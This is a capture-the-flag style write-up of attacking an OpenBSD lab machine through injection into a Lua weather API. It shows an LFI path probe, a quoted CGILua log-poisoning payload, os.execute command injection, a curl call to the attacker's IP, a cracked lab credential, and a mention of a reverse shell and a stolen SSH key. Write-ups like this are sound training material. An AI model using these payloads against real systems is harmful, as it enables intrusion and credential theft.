Summary
This was a very difficult machine that required indepth knowledge or investigations into Lua based scripting errors and openbsd shells. We were able to execute code in the exposed API to leverage Lua to call a OpenBsd reverse shell. We were not able to get root due to the lack of stability on the machine.
Processes/Techniques
URL manual enumeration
Url tampering
Local file inclusion
Error based testing
Comment based testing
Remote code execution
Open BSD enumeration
Tools used
Hash identifier
John the ripper
References
https://www.reddit.com/r/AskNetsec/comments/51bvyk/how_to_get_reverse_shell_in_openbsd/
Enumeration
Our nmap scan shows three ports open.
Port 22 - SSH is common and rarely exploitable beyond dictionary techniques.
Port 80 - HTTP is most common for hosting websites (unencrypted) and can offer a very large attack surface.
Port 9001- An uncommon port running in this instance, a multipurpose python server platform known as Medussa.
Enumeration Port 80
Knowing that our attack vector consists of mainly 2 primary ports 80 and 9001. We enumerate in-depth given the attack surface is so small. In other scenarios it could be advantageous to perform a first pass enumeration to paint a bigger tactile picture should a server have many open ports.
Browsing to the webpage prompts for authentication. A few basic password attempts failed and we pivot into searching for hidden directories which we let run in the background. Part of my process is to crawl a website active and passively. Owasp Zap is a widely known tool developed and maintained by OWASP (open web application security project). This wep app testing tool can help identify vulnerabilities and misconfigurations within a website. Alternatively is a tool developed and maintained by Portswigger, known as burpsuite, Sometimes you will hear or read the term burping a port. Burpsuite is strongly known for the ability to intercept client side requests, custom craft, modify and repeat those requests in order to take advantage of wep application infrastructure.
Image - initial landing page on port 80
Reviewing the robots.txt file can sometimes disclose directories for the purposes of search engine optimization or web crawling. However in this instances the page was empty.
Having had run "dirbuster" within the OWASP Zap framework earlier,. Reviewing the progress showed that the recursive dir/file search provided a sub directory /weather/forecast/.
Image - OWASP Zap dirbusting results/
Browsing to the directory provided a landing page that looked quite like an API of some type. The suggestion on the page is to use city list. This is a suggestion to perform an API query buy terminating the line with a "?" and city=list.
Image - /weather/forecast/ directory
Enumeration - Web app
Several ideas came to mind and I eventually landed on a simple query of the individual cities. Which sadly took me longer to clue in than I care to admit.
city=London
Image - Possible webapi located in the /weather/forecast directory
From here I did the obvious and checked each city below. However there was nothing of value in any of the cities. From here I circled back to the drawing board and did a little brainstorming with a decision to enumerate the query parameter. This to me seemed like it deserved some critical and creative thinking before moving on.
The first thing I looked for was local file inclusion by calling ../../../../../../etc/passwd. This is arguably the easiest URL tampering technique to remember and deploy. Unfortunately however an error was returned and it became clear my input was being sanitized. Following this I attempted some fuzzing with wfuzz and found nothing of importance. However when appending the url query operator with a single quote, this redirected us to an error page which disclosed back end information. This returned a "Lua error" in particular and was a valuable piece of information as it allowed me to understand the technology at hand thus focusing and narrowing my efforts.
image - Appending local file inclusion with a single quote for error bases testing.
The next step in the process was for me to start narrowing down possible types of attacks and vulnerabilities here. The first three that came to mind were local file inclusion, command injection and directory traversal. Some Lua related research surrounding these vulnerabilities seemed like the next best path to invest resources. While poking around our website I had burpsuite, proxying my connection, to passively gather information from visited pages in the HTTP history capture. There are several reasons this is good practice. Firstly it allows you to go back and review specific requests. Secondly you can forward these requests repeatedly in order to modify and repeat those requests. Thirdly, the rapid testing of page outcomes and server responses.
Image- Burpsuite HTTP history
Pursuing my researches in the direction of "Lua local file inclusion" presented me with several vulnerabilities for investigation.
Firstly, was the use of the Require().dotfile() functions which where not found in the front end web application.
Secondly, the many CGI Lua commands listed below of which none were present.
CGILua: cgilua.handlelp(),
cgilua.lp.include()
cgilua.doif(),
cgilua.doscript()
Thirdly, was a vulnerability list suggesting objects that allowed for trailing Lua common injections. But none of those listed below were present.
-- CGILua-- /vulnerable.lua?prod=/var/log/apache/access_log%00-- after sending request with user-agent "<? os.execute(cgilua.QUERY.cmd) ?>"local prod = cgilua.QUERY.prod or ""
cgilua.htmlheader()
cgilua.lp.include(prod..".lp")-- CGILua (2)-- /vulnerable.lua?prod=/var/log/apache/access_log%00local prod = cgilua.QUERY.prod or ""
cgilua.handlelp(prod..".lp")-- CGILua (3)-- /vulnerable.lua?prod=somefile.lua%00local prod = cgilua.QUERY.prod or ""
cgilua.htmlheader()
cgilua.doif(prod..".lua"
Image - Suggested Lua vulnerable functions to look for
Back to the drawing board
Having spent many hours working through the web application and weather API, I decided to step back after a small investment in command injection and directory traversal techniques I pushed to go back to the basics.
Breaking the application
Here the process was to use escape characters such as single and or double quotes followed by terminating characters. When url encodeding a single quote as ' with a :; terminator ; I received a lua error that attempted to call a value. The key here is we see "lua49" which suggests we have back end interaction with a script that errors out on line 49 when trying to call a value. From here I tried LFI, CMD injection, and Dir traversal while piggy backing off the existing escape sequence of %25; without any progress.
Image - Escape error response
Image - Screenshot of escape error response
If you manage to generate an error response through escape characters it is always best process and practice to search for the comment characters and append the existing escape characters.
Comments in Lua are defined with a double dash, "--" and these will not be processed as code in the front end, but they can be passed to the backend, and everything preceding.
If we imagine that the code for the script at hand has a "switch case" where it is looking for variables, then when it calls a variable such as "int" we naturally expect a single quote and parenthesis to close the called variable.
We perform this process and actually query any of the cities and this case it is "London", and we tak on the comment character "--' to try and pass this to the backend interpreter. The error response came back with "unkown city: London" which provides an error suggesting it could not find the city London. From here we can assume we have successfully parsed the comment to the backend server as it cannot identify London')--.
Image - unable to process ')--
Referring to GTFO bins related to Lua we can learn some syntax for command execution. 'os.execute("....")'. We can try to slide this into the URL for execution.
Image - GTFO bin Lua command
Putting this all together and many hours later I was able to obtain command execution by terminating the initial called variable with a terminator character ; and then I called os.execute and our command followed by the comment string.
Image - command injection
Image - Further command injection
With this information I started going through a long list of files to check and many many hours passed until I landed on htpasswd which provided a user and a hash.
Image - htpasswd output
Cracking the password
John and Johnny both failed after many attempts and alterations. I was however able to identify the hash with "hash-identifier"
Image - Hash identified as MD5(Unix)
I attempted to crack the hash from a different linux machine and it worked......
Image - Cracking the hash with john the ripper
Username: webapi_user
Password: iamthebest
Back to the login page with haste which ended up being totally blank with nothing to provide further enumeration.
Image - original login page
Image - Authenticated landing page
Back to command injection.
As the authentication page provided little to nothing I moved back to my initial command injection to try and evolve this into remote code execution. I started off with a silly stab at a netcat shell because the OS is OpenBsd which is known to have netcat. Unfortunately this proved no success.
No dice with so many possible shells so I switched to working with the curl command, so I did not have to worry about bad characters, syntax or dynamic libraries and or dependencies. .
os.execute("curl 10.10.14.89:8000")--
I was able to set up a listener with TCP dump and confirm the curl command was received over port 8000. was not able to pipe linpeas.sh into bash which I thought was a rather clever move.
BSD OS, and in general any non-Linux systems uses pdksh, a descendant of the Korn shell. FreeBSD's has "sh", a descendant of the original UNIX Bourne shell. Solaris has its own sh which for a long time was not POSIX-compliant; a free implementation is available from the Heirloom project.
So this worked
I eventually got it working, but the initial shell was constantly cutting out and dropping which was incredibly frustration. I managed to pickup the SSH private key for user r.michaels and used that to connect.
Image - ssh connection as use r.michael.
From here I desperately needed the shell to stabilize and attempted with process migration, msfvenom shells, arming pre-configured commands to run immediately upon connection but nothing worked. Man others also complained of this and I was not able to gain access enough to screen shot and document my processes to root. I hope to revisit sometime and seal the deal with this one.
Comments